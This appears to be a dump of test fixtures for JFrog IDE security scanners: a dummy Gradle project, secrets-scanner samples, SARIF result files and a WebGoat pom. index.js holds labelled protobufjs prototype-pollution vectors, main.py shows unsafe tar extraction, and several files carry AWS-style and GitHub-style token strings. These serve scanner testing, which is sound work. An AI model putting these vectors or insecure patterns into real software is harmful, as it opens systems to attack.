h1:jksf8JmL6Qr/oQM2OXTHunEvvTAsrWBLb6OOjuVWRNI= gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= ================================================ FILE: src/test/resources/projects/project2/subproject/main.go ================================================ package subproject import ( "fmt" "github.com/jfrog/gocmd/cmd" ) func main() { cmd.GetDependenciesGraph() } func PrintHello() { fmt.Println("Hello World!") } ================================================ FILE: src/test/resources/proxy/proxy.pac ================================================ function FindProxyForURL(url, host) { if (url === "https://1.2.3.5") { return "DIRECT" } return "PROXY proxyPacHost.org:8888; PROXY proxyPacSecondHost.org:8888"; } ================================================ FILE: src/test/resources/secrets/testProjects/dummy/ApplicabilityScannerExecutor.java ================================================ package com.jfrog.ide.idea.scan; import com.jfrog.ide.common.configuration.ServerConfig; import com.jfrog.ide.common.nodes.subentities.SourceCodeScanType; import com.jfrog.ide.idea.inspections.JFrogSecurityWarning; import com.jfrog.ide.idea.scan.data.PackageManagerType; import com.jfrog.ide.idea.scan.data.ScanConfig; import com.jfrog.xray.client.services.entitlements.Feature; import org.jfrog.build.api.util.Log; import java.io.IOException; import java.util.List; /** * @author Tal Arian */ public class ApplicabilityScannerExecutor extends ScanBinaryExecutor { private static final List SCANNER_ARGS = List.of("ca"); private static final List SUPPORTED_PACKAGE_TYPES = List.of(PackageManagerType.PYPI, PackageManagerType.NPM, PackageManagerType.YARN, PackageManagerType.GRADLE, PackageManagerType.MAVEN); public ApplicabilityScannerExecutor(Log log, ServerConfig serverConfig) { this(log, serverConfig, "", true); } public ApplicabilityScannerExecutor(Log log, ServerConfig serverConfig, String binaryDownloadUrl, boolean useJFrogReleases) { super(SourceCodeScanType.CONTEXTUAL, binaryDownloadUrl, log, serverConfig, useJFrogReleases); supportedPackageTypes = SUPPORTED_PACKAGE_TYPES; } public List execute(ScanConfig.Builder inputFileBuilder, Runnable checkCanceled) throws IOException, InterruptedException { return super.execute(inputFileBuilder, SCANNER_ARGS, checkCanceled); } @Override Feature getScannerFeatureName() { return Feature.CONTEXTUAL_ANALYSIS; } } ================================================ FILE: src/test/resources/secrets/testProjects/dummy/build.gradle ================================================ import java.net.http.HttpClient import java.net.http.HttpRequest import java.net.http.HttpResponse import java.nio.file.Paths plugins { id "org.jetbrains.intellij" version "1.15.0" id "java" id "maven-publish" id "de.undercouch.download" version "5.3.0" id "io.freefair.lombok" version "8.0.1" } group 'com.jfrog.ide' version currentVersion sourceCompatibility = JavaVersion.VERSION_17 targetCompatibility = JavaVersion.VERSION_17 def testPython = project.gradle.startParameter.taskNames.contains("pythonTests") def intellijType = testPython ? "IC" : "IU" intellij { version = sandboxVersion type = intellijType plugins = ['gradle', 'maven', 'Groovy', 'properties', 'java', 'Kotlin', 'org.jetbrains.plugins.go:223.8617.56', "PythonCore:223.8617.56"] pluginName = 'JFrog' updateSinceUntilBuild = false } runPluginVerifier { ideVersions = [intellijType + "-"+ sandboxVersion] } runIde { jvmArgs '-Xmx2G' } repositories { mavenLocal() mavenCentral() maven { url "https://releases.jfrog.io/artifactory/oss-releases" } maven { url "https://releases.jfrog.io/artifactory/oss-snapshots" } } def buildInfoVersion = '2.41.4' dependencies { implementation group: 'com.fasterxml.jackson.dataformat', name: 'jackson-dataformat-yaml', version: '2.15.2' implementation group: 'org.jfrog.buildinfo', name: 'build-info-extractor', version: buildInfoVersion implementation group: 'org.jfrog.buildinfo', name: 'build-info-client', version: buildInfoVersion implementation group: 'com.fasterxml.jackson.core', name: 'jackson-databind', version: '2.15.2' implementation group: 'org.jfrog.buildinfo', name: 'build-info-api', version: buildInfoVersion implementation group: 'net.lingala.zip4j', name: 'zip4j', version: '2.11.4' implementation group: 'com.jfrog.xray.client', name: 'xray-client-java', version: '0.14.1' implementation group: 'org.apache.commons', name: 'commons-collections4', version: '4.4' implementation group: 'org.jfrog.filespecs', name: 'file-specs-java', version: '1.1.2' implementation group: 'com.jfrog.ide', name: 'ide-plugins-common', version: '2.2.2' implementation group: 'org.apache.commons', name: 'commons-lang3', version: '3.11' implementation group: 'com.google.guava', name: 'guava', version: '32.0.1-jre' testImplementation group: 'org.mockito', name: 'mockito-inline', version: '4.2.0' testImplementation group: 'org.mockito', name: 'mockito-core', version: '4.2.0' } test { scanForTestClasses false include "**/*Test.class" exclude "**/*IntegrationTest*", "**/*PypiScannerTest*" testLogging { exceptionFormat "full" events "started", "passed", "skipped", "failed", "standardOut", "standardError" minGranularity 0 } } tasks.register('pythonTests', Test) { scanForTestClasses false include "**/*PypiScannerTest*" testLogging { exceptionFormat "full" events "started", "passed", "skipped", "failed", "standardOut", "standardError" minGranularity 0 } } tasks.register('integrationTests', Test) { scanForTestClasses false include "**/*IntegrationTests.class" testLogging { exceptionFormat "full" events "started", "passed", "skipped", "failed", "standardOut", "standardError" minGranularity 0 } } def webviewFileName = 'jfrog-ide-webview-' + webviewVersion + '.tgz' def webviewUrl = 'https://releases.jfrog.io/artifactory/ide-webview-npm/jfrog-ide-webview/-/' + webviewFileName tasks.register('downloadWebview', Download) { src webviewUrl dest buildDir onlyIfModified true finalizedBy('getAndUpdateWebviewChecksum') } tasks.register('getAndUpdateWebviewChecksum') { finalizedBy('verifyWebview') if (System.getenv("CI") != null) { println 'CI mode is active - Skipping Webview checksum update' ext.checksum = webviewChecksum return } ext.checksum = getWebviewChecksumFromServer(webviewUrl) updateWebviewChecksumInPropertiesFile(ext.checksum) } tasks.register('verifyWebview', Verify) { src new File(buildDir, webviewFileName) algorithm 'SHA-256' checksum getAndUpdateWebviewChecksum.checksum finalizedBy('extractWebview') } tasks.register('extractWebview', Copy) { from tarTree(new File(buildDir, webviewFileName)) into Paths.get('src', 'main', 'resources', 'jfrog-ide-webview').toFile() include '**/build/**/*' eachFile { path = path.replace('package/build/', '') } } tasks.withType(JavaCompile).configureEach { options.deprecation = true options.encoding = "UTF-8" } tasks.withType(ProcessResources).configureEach { dependsOn('downloadWebview') } publishing { publications { mavenJava(MavenPublication) { from components.java artifact buildPlugin } } } publishPlugin { token = System.getenv("JETBRAINS_TOKEN") } /** * Get Webview checksum from releases.jfrog.io * @param webviewUrl - Webview URL * @return the sha256 of the webview */ static String getWebviewChecksumFromServer(String webviewUrl) { def headRequest = HttpRequest.newBuilder(new URL(webviewUrl).toURI()).method("HEAD", HttpRequest.BodyPublishers.noBody()).build() def checksumResponse = HttpClient.newHttpClient().send(headRequest, HttpResponse.BodyHandlers.ofString()) return checksumResponse.headers().firstValue("x-checksum-sha256").get() } /** * Update the Webview checksum in the gradle.properties file * @param checksum - Webview checksum to update */ static def updateWebviewChecksumInPropertiesFile(String checksum) { def gradleProps = new Properties() File gradlePropertiesFile = new File("gradle.properties") gradlePropertiesFile.withInputStream { gradleProps.load(it) } gradleProps.setProperty("webviewChecksum", checksum) gradlePropertiesFile.withWriter('UTF-8') { fileWriter -> gradleProps.each { key, value -> fileWriter.writeLine "$key=$value" } } } ================================================ FILE: src/test/resources/secrets/testProjects/dummy/index.js ================================================ // index.js protobuf = require("protobufjs"); // Object.freeze(Object.prototype); let person1 = {firstName:"John", lastName:"Doe", age:50, eyeColor:"blue"}; let person2 = {firstCoolName:"John", lastName:"Doe", age:50, eyeColor:"blue"}; // Vector 1 let evilkey = "__proto__.firstName" let evilval = "evilvalue" protobuf.util.setProperty(person1, evilkey, evilval); // Vector 2 let obj = new protobuf.ReflectionObject("Test") obj.setParsedOption({}, evilval, evilkey); // Vector 3 let p = `option (foo).__proto__.someprop= "somevalue";` protobuf.parse(p) // Vector 4 protobuf.load("/path/to/untrusted.proto", function(err, root) { return }); console.log({}.firstName); console.log(person1.firstName); console.log(person2.firstName); ================================================ FILE: src/test/resources/secrets/testProjects/dummy/main.py ================================================ #!/usr/bin/env python3 import os import tarfile def py_files(members): for tarinfo in members: if os.path.splitext(tarinfo.name)[1] == ".py": yield tarinfo def get_name(): return "sample.tar.gz" name = get_name() tar = tarfile.open(name) tar.extractall(members=py_files(tar)) tar.close() ================================================ FILE: src/test/resources/secrets/testProjects/exposedSecrets/req.nodejs.hardcoded-secrets/applicable_base64.js ================================================ const api_key = "2VTHzn1mKZ/n9apD5P6nxsajSQh8QhmyyKvUIRoZWAHCB8lSbBm3YWx5nOdZ1zPEOaA0zIZy1eFgHgfB2HkfAdVrbQj19kagXDVe" ================================================ FILE: src/test/resources/secrets/testProjects/exposedSecrets/req.nodejs.hardcoded-secrets/applicable_base64.js.approval.json ================================================ {"Answer": true, "Verdict": "Hardcoded secrets were found in Javascript files", "Evidence": ["2VTHzn1mKZ/n9apD5P6nxsajSQh8QhmyyKvUIRoZWAHCB8lSbBm3YWx5nOdZ1zPEOaA0zIZy1eFgHgfB2HkfAdVrbQj19kagXDVe"]} ================================================ FILE: src/test/resources/secrets/testProjects/exposedSecrets/req.nodejs.hardcoded-secrets/applicable_hex.js ================================================ const api_key = "0159392e31dc912156e1cc6eab32a3d7df7154aecdf2ffe7d66f10da0d5706f7d9ba3183a366389112819b728b20026d04a4f6304da649beefc7fe49" ================================================ FILE: src/test/resources/secrets/testProjects/exposedSecrets/req.nodejs.hardcoded-secrets/applicable_hex.js.approval.json ================================================ {"Answer": true, "Verdict": "Hardcoded secrets were found in Javascript files", "Evidence": ["0159392e31dc912156e1cc6eab32a3d7df7154aecdf2ffe7d66f10da0d5706f7d9ba3183a366389112819b728b20026d04a4f6304da649beefc7fe49"]} ================================================ FILE: src/test/resources/secrets/testProjects/exposedSecrets/req.nodejs.hardcoded-secrets/not_applicable_base64.js ================================================ const api_key = "Tm90IGFuIGFwaSBrZXkhISEhISFOb3QgYW4gYXBpIGtleSEhISEhIU5vdCBhbiBhcGkga2V5ISEh\nISEhTm90IGFuIGFwaSBrZXkhISEhISE=" ================================================ FILE: src/test/resources/secrets/testProjects/exposedSecrets/req.nodejs.hardcoded-secrets/not_applicable_base64.js.approval.json ================================================ {"Answer": false, "Verdict": "Hardcoded secrets were not found in Javascript files", "Evidence": []} ================================================ FILE: src/test/resources/secrets/testProjects/exposedSecrets/req.nodejs.hardcoded-secrets/not_applicable_hex.js ================================================ const api_key = "4e6f2068617264636f646564207365637265742068657265212121204e6f2068617264636f64656420736563726574206865726521212120" ================================================ FILE: src/test/resources/secrets/testProjects/exposedSecrets/req.nodejs.hardcoded-secrets/not_applicable_hex.js.approval.json ================================================ {"Answer": false, "Verdict": "Hardcoded secrets were not found in Javascript files", "Evidence": []} ================================================ FILE: src/test/resources/secrets/testProjects/exposedSecrets/req.python.hardcoded-secrets/applicable_base64.py ================================================ api_key = "2VTHzn1mKZ/n9apD5P6nxsajSQh8QhmyyKvUIRoZWAHCB8lSbBm3YWx5nOdZ1zPEOaA0zIZy1eFgHgfB2HkfAdVrbQj19kagXDVe" ================================================ FILE: src/test/resources/secrets/testProjects/exposedSecrets/req.python.hardcoded-secrets/applicable_base64.py.approval.json ================================================ {"Answer": true, "Verdict": "Hardcoded secrets were found in Python files", "Evidence": ["2VTHzn1mKZ/n9apD5P6nxsajSQh8QhmyyKvUIRoZWAHCB8lSbBm3YWx5nOdZ1zPEOaA0zIZy1eFgHgfB2HkfAdVrbQj19kagXDVe"]} ================================================ FILE: src/test/resources/secrets/testProjects/exposedSecrets/req.python.hardcoded-secrets/applicable_hex.py ================================================ api_key = "0159392e31dc912156e1cc6eab32a3d7df7154aecdf2ffe7d66f10da0d5706f7d9ba3183a366389112819b728b20026d04a4f6304da649beefc7fe49" ================================================ FILE: src/test/resources/secrets/testProjects/exposedSecrets/req.python.hardcoded-secrets/applicable_hex.py.approval.json ================================================ {"Answer": true, "Verdict": "Hardcoded secrets were found in Python files", "Evidence": ["0159392e31dc912156e1cc6eab32a3d7df7154aecdf2ffe7d66f10da0d5706f7d9ba3183a366389112819b728b20026d04a4f6304da649beefc7fe49"]} ================================================ FILE: src/test/resources/secrets/testProjects/exposedSecrets/req.python.hardcoded-secrets/not_applicable_base64.py ================================================ api_key = "Tm90IGFuIGFwaSBrZXkhISEhISFOb3QgYW4gYXBpIGtleSEhISEhIU5vdCBhbiBhcGkga2V5ISEh\nISEhTm90IGFuIGFwaSBrZXkhISEhISE=" ================================================ FILE: src/test/resources/secrets/testProjects/exposedSecrets/req.python.hardcoded-secrets/not_applicable_base64.py.approval.json ================================================ {"Answer": false, "Verdict": "Hardcoded secrets were not found in Python files", "Evidence": []} ================================================ FILE: src/test/resources/secrets/testProjects/exposedSecrets/req.python.hardcoded-secrets/not_applicable_hex.py ================================================ api_key = "4e6f2068617264636f646564207365637265742068657265212121204e6f2068617264636f64656420736563726574206865726521212120" ================================================ FILE: src/test/resources/secrets/testProjects/exposedSecrets/req.python.hardcoded-secrets/not_applicable_hex.py.approval.json ================================================ {"Answer": false, "Verdict": "Hardcoded secrets were not found in Python files", "Evidence": []} ================================================ FILE: src/test/resources/secrets/testProjects/exposedSecrets/req.secret.keys/applicable.approval.json ================================================ {"Answer": true, "Verdict": "Secret keys were found", "Evidence": ["Offset: 0x000006a8:0x000006b2", "Offset: 0x000006c0:0x000006ca"]} ================================================ FILE: src/test/resources/secrets/testProjects/exposedSecrets/req.secret.keys/applicable.c ================================================ int main() { char *secret = "AKIANONC0C49XZC0GA8Z"; char *secret1 = "gho_Jz55sxIFfpoO2IBBSPQ6YQVaLdk7pue69YiC"; return 0; } ================================================ FILE: src/test/resources/secrets/testProjects/exposedSecrets/req.secret.keys/applicable.txt ================================================ AKIANONC0C49XZC0GA8Z gho_Jz55sxIFfpoO2IBBSPQ6YQVaLdk7pue69YiC ================================================ FILE: src/test/resources/secrets/testProjects/exposedSecrets/req.secret.keys/applicable.txt.approval.json ================================================ {"Answer": true, "Verdict": "Secret keys were found", "Evidence": ["AKIANONC0C", "gho_Jz55sx"]} ================================================ FILE: src/test/resources/secrets/testProjects/exposedSecrets/req.secret.keys/not_applicable.approval.json ================================================ {"Answer": false, "Verdict": "Secret keys were not found", "Evidence": []} ================================================ FILE: src/test/resources/secrets/testProjects/exposedSecrets/req.secret.keys/not_applicable.c ================================================ int main() { char *secret = "ABCDNONC0C49XZC0GA8Z"; return 0; } ================================================ FILE: src/test/resources/secrets/testProjects/exposedSecrets/req.secret.keys/not_applicable.txt ================================================ ABCDNONC0C49XZC0GA8Z ================================================ FILE: src/test/resources/secrets/testProjects/exposedSecrets/req.secret.keys/not_applicable.txt.approval.json ================================================ {"Answer": false, "Verdict": "Secret keys were not found", "Evidence": []} ================================================ FILE: src/test/resources/sourceCode/applicable_kind_pass_output.sarif ================================================ { "runs": [ { "tool": { "driver": { "name": "JFrog Applicability Scanner", "rules": [ { "id": "applic_CVE-2022-25878", "properties": { "conclusion": "positive", "applicability": "not_applicable" }, "fullDescription": { "text": "The scanner checks whether the vulnerable function `pem.Decode` is called.", "markdown": "The scanner checks whether the vulnerable function `pem.Decode` is called." }, "shortDescription": { "text": "Scanner for applic_CVE-2022-25878" } }, { "id": "applic_CVE-2022-25978", "properties": { "conclusion": "negative", "applicability": "applicable" }, "fullDescription": { "text": "The scanner checks whether the vulnerable function `org.apache.xmlbeans.XmlObject.Factory.parse` is called or an interface that extends `org.apache.xmlbeans.XmlObject` is used.", "markdown": "The scanner checks whether the vulnerable function `org.apache.xmlbeans.XmlObject.Factory.parse` is called or an interface that extends `org.apache.xmlbeans.XmlObject` is used." }, "shortDescription": { "text": "Scanner for applic_CVE-2022-25978" } }, { "id": "applic_CVE-2021-25878", "fullDescription": { "text": "The scanner checks whether the vulnerable function `pem.Decode` is called.", "markdown": "The scanner checks whether the vulnerable function `pem.Decode` is called." }, "shortDescription": { "text": "Scanner for applic_CVE-2021-25878" } }, { "id": "applic_CVE-2022-29019", "fullDescription": { "text": "The scanner checks whether the vulnerable function `org.apache.xmlbeans.XmlObject.Factory.parse` is called or an interface that extends `org.apache.xmlbeans.XmlObject` is used.", "markdown": "The scanner checks whether the vulnerable function `org.apache.xmlbeans.XmlObject.Factory.parse` is called or an interface that extends `org.apache.xmlbeans.XmlObject` is used." }, "shortDescription": { "text": "Scanner for applic_CVE-2022-29019" } }, { "id": "applic_CVE-2022-29004", "fullDescription": { "text": "The scanner checks whether the vulnerable function `org.apache.xmlbeans.XmlObject.Factory.parse` is called or an interface that extends `org.apache.xmlbeans.XmlObject` is used.", "markdown": "The scanner checks whether the vulnerable function `org.apache.xmlbeans.XmlObject.Factory.parse` is called or an interface that extends `org.apache.xmlbeans.XmlObject` is used." }, "shortDescription": { "text": "Scanner for applic_CVE-2022-29004" }, "properties": { "conclusion": "positive", "applicability": "not_covered" } }, { "id": "applic_CVE-2022-29014", "fullDescription": { "text": "The scanner checks whether the vulnerable function `org.apache.xmlbeans.XmlObject.Factory.parse` is called or an interface that extends `org.apache.xmlbeans.XmlObject` is used.", "markdown": "The scanner checks whether the vulnerable function `org.apache.xmlbeans.XmlObject.Factory.parse` is called or an interface that extends `org.apache.xmlbeans.XmlObject` is used." }, "shortDescription": { "text": "Scanner for applic_CVE-2022-29014" }, "properties": { "conclusion": "positive", "applicability": "undetermined" } } ], "version": "APPLIC_SCANNERv0.2.0" } }, "invocations": [ { "executionSuccessful": true, "arguments": [ "scan" ], "workingDirectory": { "uri": "" } } ], "results": [ { "message": { "text": "The vulnerable function protobufjs.load is called" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "file:///examples/applic-demo/index.js" }, "region": { "endColumn": 17, "endLine": 20, "snippet": { "text": "protobuf.parse(p)" }, "startColumn": 0, "startLine": 20 } } } ], "ruleId": "applic_CVE-2022-25878" }, { "message": { "text": "The vulnerable function protobufjs.parse is called." }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "file:///examples/applic-demo/index.js" }, "region": { "endColumn": 73, "endLine": 22, "snippet": { "text": "protobuf.load(\"/path/to/untrusted.proto\", function(err, root) { return })" }, "startColumn": 0, "startLine": 18 } } } ], "ruleId": "applic_CVE-2022-25978" }, { "message": { "text": "The scanner checks whether the vulnerable function `ansi-regex` is called." }, "kind": "pass", "ruleId": "applic_CVE-2021-25878" }, { "message": { "text": "The scanner checks whether the vulnerable function `ansi-regex` is called." }, "kind": "fail", "ruleId": "applic_CVE-2022-29019" }, { "message": { "text": "The scanner checks whether the vulnerable function `call-all-ansi` is called." }, "kind": "pass", "ruleId": "applic_CVE-2022-29004" }, {"message": { "text": "The scanner checks whether the vulnerable function `not-call-all-ansi` is called." }, "kind": "pass", "ruleId": "applic_CVE-2022-29014" } ] } ], "version": "2.1.0", "$schema": "https://docs.oasis-open.org/sarif/sarif/v2.1.0/cos02/schemas/sarif-schema-2.1.0.json" } ================================================ FILE: src/test/resources/sourceCode/faulty_output.sarif ================================================ { "runs": [ { "tool": { "driver": { "name": "JFrog Applicability Scanner", "rules": [ { "id": "applic_CVE-2022-25878", "properties": { "conclusion": "positive", "applicability": "not_applicable" }, "fullDescription": { "text": "The scanner checks whether the vulnerable function `pem.Decode` is called.", "markdown": "The scanner checks whether the vulnerable function `pem.Decode` is called." }, "shortDescription": { "text": "Scanner for applic_CVE-2022-25878" } }, { "id": "applic_CVE-2022-25978", "properties": { "conclusion": "negative", "applicability": "applicable" }, "fullDescription": { "text": "The scanner checks whether the vulnerable function `org.apache.xmlbeans.XmlObject.Factory.parse` is called or an interface that extends `org.apache.xmlbeans.XmlObject` is used.", "markdown": "The scanner checks whether the vulnerable function `org.apache.xmlbeans.XmlObject.Factory.parse` is called or an interface that extends `org.apache.xmlbeans.XmlObject` is used." }, "shortDescription": { "text": "Scanner for applic_CVE-2022-25978" } }, { "id": "applic_CVE-2021-25878", "fullDescription": { "text": "The scanner checks whether the vulnerable function `pem.Decode` is called.", "markdown": "The scanner checks whether the vulnerable function `pem.Decode` is called." }, "shortDescription": { "text": "Scanner for applic_CVE-2021-25878" } }, { "id": "applic_CVE-2022-29019", "fullDescription": { "text": "The scanner checks whether the vulnerable function `org.apache.xmlbeans.XmlObject.Factory.parse` is called or an interface that extends `org.apache.xmlbeans.XmlObject` is used.", "markdown": "The scanner checks whether the vulnerable function `org.apache.xmlbeans.XmlObject.Factory.parse` is called or an interface that extends `org.apache.xmlbeans.XmlObject` is used." }, "shortDescription": { "text": "Scanner for applic_CVE-2022-29019" } }, { "id": "applic_CVE-2022-29004", "fullDescription": { "text": "The scanner checks whether the vulnerable function `org.apache.xmlbeans.XmlObject.Factory.parse` is called or an interface that extends `org.apache.xmlbeans.XmlObject` is used.", "markdown": "The scanner checks whether the vulnerable function `org.apache.xmlbeans.XmlObject.Factory.parse` is called or an interface that extends `org.apache.xmlbeans.XmlObject` is used." }, "shortDescription": { "text": "Scanner for applic_CVE-2022-29004" }, "properties": { "conclusion": "positive", "applicability": "not_covered" } }, { "id": "applic_CVE-2022-29014", "fullDescription": { "text": "The scanner checks whether the vulnerable function `org.apache.xmlbeans.XmlObject.Factory.parse` is called or an interface that extends `org.apache.xmlbeans.XmlObject` is used.", "markdown": "The scanner checks whether the vulnerable function `org.apache.xmlbeans.XmlObject.Factory.parse` is called or an interface that extends `org.apache.xmlbeans.XmlObject` is used." }, "shortDescription": { "text": "Scanner for applic_CVE-2022-29014" }, "properties": { "conclusion": "positive", "applicability": "undetermined" } } ], "version": "APPLIC_SCANNERv0.2.0" } }, "invocations": [ { "executionSuccessful": true, "arguments": [ "scan" ], "workingDirectory": { "uri": "" } } ], "results": [ { "message": { "text": "The vulnerable function protobufjs.load is called" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "file:///examples/applic-demo/index.js" }, "region": { "endColumn": 17, "endLine": 20, "snippet": { "text": "protobuf.parse(p)" }, "startColumn": 0, "startLine": 20 } } } ], "ruleId": "applic_CVE-2022-25878" }, { "message": { "text": "The vulnerable function protobufjs.parse is called." }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "file:///examples/applic-demo/index.js" }, "region": { "endColumn": 73, "endLine": 22, "snippet": { "text": "protobuf.load(\"/path/to/untrusted.proto\", function(err, root) { return })" }, "startColumn": 0, "startLine": 18 } } } ], "ruleId": "applic_CVE-2022-25978" }, { "message": { "text": "The scanner checks whether the vulnerable function `ansi-regex` is called." }, "kind": "pass", "ruleId": "applic_CVE-2021-25878" }, { "message": { "text": "The scanner checks whether the vulnerable function `ansi-regex` is called." }, "kind": "fail", "ruleId": "applic_CVE-2022-29019" }, { "message": { "text": "The scanner checks whether the vulnerable function `call-all-ansi` is called." }, "kind": "pass", "ruleId": "applic_CVE-2022-29004" }, {"message": { "text": "The scanner checks whether the vulnerable function `not-call-all-ansi` is called." }, "kind": "pass", "ruleId": "applic_CVE-2022-29014" }, {"message": { "text": "The scanner checks whether the vulnerable function `not-call-all-ansi` is called." }, "kind": "pass", "ruleId": "applic_CVE-2022-29614" } ] } ], "version": "2.1.0", "$schema": "https://docs.oasis-open.org/sarif/sarif/v2.1.0/cos02/schemas/sarif-schema-2.1.0.json" } ================================================ FILE: src/test/resources/sourceCode/secrets_with_informational_output.sarif ================================================ { "runs": [ { "tool": { "driver": { "name": "JFrog Secrets Scanner", "rules": [ { "id": "REQ.SECRET.GENERIC.TEXT", "fullDescription": { "text": "Scans for generic text secrets.", "markdown": "Scans for generic text secrets." }, "shortDescription": { "text": "Scanner for generic text secrets" } }, { "id": "REQ.SECRET.KEYS", "fullDescription": { "text": "Scans for secret keys.", "markdown": "Scans for secret keys." }, "shortDescription": { "text": "Scanner for secret keys" } } ], "version": "SECRETS_SCANNERv0.1.0" } }, "invocations": [ { "executionSuccessful": true, "arguments": [ "scan" ], "workingDirectory": { "uri": "" } } ], "results": [ { "kind": "informational", "message": { "text": "The scanner REQ.SECRET.GENERIC.TEXT has ran" }, "ruleId": "REQ.SECRET.GENERIC.TEXT" }, { "kind": "informational", "message": { "text": "The scanner REQ.SECRET.KEYS has ran" }, "ruleId": "REQ.SECRET.KEYS" }, { "level": "error", "message": { "text": "Hardcoded secrets were found" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "file:///project/src/config.js" }, "region": { "startLine": 10, "endLine": 10, "startColumn": 1, "endColumn": 40, "snippet": { "text": "token**********" } } } } ], "ruleId": "REQ.SECRET.GENERIC.TEXT" } ] } ], "version": "2.1.0", "$schema": "https://docs.oasis-open.org/sarif/sarif/v2.1.0/cos02/schemas/sarif-schema-2.1.0.json" } ================================================ FILE: src/test/resources/sourceCode/simple_output.sarif ================================================ { "runs": [ { "tool": { "driver": { "name": "JFrog Applicability Scanner", "rules": [ { "id": "applic_CVE-2022-25878", "properties": { "conclusion": "negative", "applicability": "applicable" }, "fullDescription": { "text": "The scanner checks whether the vulnerable function `pem.Decode` is called.", "markdown": "The scanner checks whether the vulnerable function `pem.Decode` is called." }, "shortDescription": { "text": "Scanner for CVE-2020-28502" } }, { "id": "CVE-2022-25978", "properties": { "conclusion": "negative", "applicability": "applicable" }, "fullDescription": { "text": "The scanner checks whether the vulnerable function `org.apache.xmlbeans.XmlObject.Factory.parse` is called or an interface that extends `org.apache.xmlbeans.XmlObject` is used.", "markdown": "The scanner checks whether the vulnerable function `org.apache.xmlbeans.XmlObject.Factory.parse` is called or an interface that extends `org.apache.xmlbeans.XmlObject` is used." }, "shortDescription": { "text": "Scanner for CVE-2020-5310" } } ], "version": "APPLIC_SCANNERv0.2.0" } }, "invocations": [ { "executionSuccessful": true, "arguments": [ "scan" ], "workingDirectory": { "uri": "" } } ], "results": [ { "message": { "text": "The vulnerable function protobufjs.load is called" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "file:///examples/applic-demo/index.js" }, "region": { "endColumn": 18, "endLine": 20, "snippet": { "text": "protobuf.parse(p)" }, "startColumn": 1, "startLine": 20 } } } ], "ruleId": "applic_CVE-2022-25878" }, { "message": { "text": "The vulnerable function protobufjs.parse is called." }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "file:///examples/applic-demo/index.js" }, "region": { "endColumn": 74, "endLine": 22, "snippet": { "text": "protobuf.load(\"/path/to/untrusted.proto\", function(err, root) { return })" }, "startColumn": 1, "startLine": 18 } } } ], "ruleId": "CVE-2022-25978" } ] } ], "version": "2.1.0", "$schema": "https://docs.oasis-open.org/sarif/sarif/v2.1.0/cos02/schemas/sarif-schema-2.1.0.json" } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/COPYRIGHT.txt ================================================ This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ Copyright (c) 2002 - $today.year Bruce Mayhew This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. Getting Source ============== Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/LICENSE.txt ================================================ This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ Copyright (c) 2002 - 2019 Bruce Mayhew This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. Getting Source ============== Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/pom.xml ================================================ 4.0.0 org.springframework.boot spring-boot-starter-parent 2.7.1 org.owasp.webgoat webgoat 2023.3 jar WebGoat WebGoat, a deliberately insecure Web Application https://github.com/WebGoat/WebGoat 2006 OWASP https://github.com/WebGoat/WebGoat/ GNU General Public License, version 2 https://www.gnu.org/licenses/gpl-2.0.txt mayhew64 Bruce Mayhew webgoat@owasp.org OWASP https://github.com/WebGoat/WebGoat nbaars Nanne Baars nanne.baars@owasp.org https://github.com/nbaars Europe/Amsterdam misfir3 Jason White jason.white@owasp.org zubcevic René Zubcevic rene.zubcevic@owasp.org aolle Àngel Ollé Blázquez angel@olleb.com jwayman Jeff Wayman dcowden Dave Cowden lawson89 Richard Lawson dougmorato Doug Morato doug.morato@owasp.org OWASP https://github.com/dougmorato America/New_York https://avatars2.githubusercontent.com/u/9654?v=3&s=150 OWASP WebGoat Mailing List https://lists.owasp.org/mailman/listinfo/owasp-webgoat Owasp-webgoat-request@lists.owasp.org owasp-webgoat@lists.owasp.org http://lists.owasp.org/pipermail/owasp-webgoat/ scm:git:git@github.com:WebGoat/WebGoat.git scm:git:git@github.com:WebGoat/WebGoat.git HEAD https://github.com/WebGoat/WebGoat Github Issues https://github.com/WebGoat/WebGoat/issues 2.5.3 3.3.7 2.2 3.1.2 3.2.1 2.6 3.12.0 1.9 30.1-jre 17 0.9.1 0.7.6 3.5.1 1.14.3 3.8.0 2.22.0 3.1.2 3.1.1 3.1.0 3.0.0-M5 17 17 3.15.0 UTF-8 UTF-8 3.0.15.RELEASE 4.3.1 8080 9090 2.27.2 1.2 1.4.5 1.5.2 org.ow2.asm asm 9.1 org.apache.commons commons-exec 1.3 org.asciidoctor asciidoctorj ${asciidoctorj.version} org.jsoup jsoup ${jsoup.version} com.nulab-inc zxcvbn ${zxcvbn.version} com.thoughtworks.xstream xstream ${xstream.version} cglib cglib-nodep ${cglib.version} xml-resolver xml-resolver ${xml-resolver.version} io.jsonwebtoken jjwt ${jjwt.version} com.google.guava guava ${guava.version} commons-io commons-io 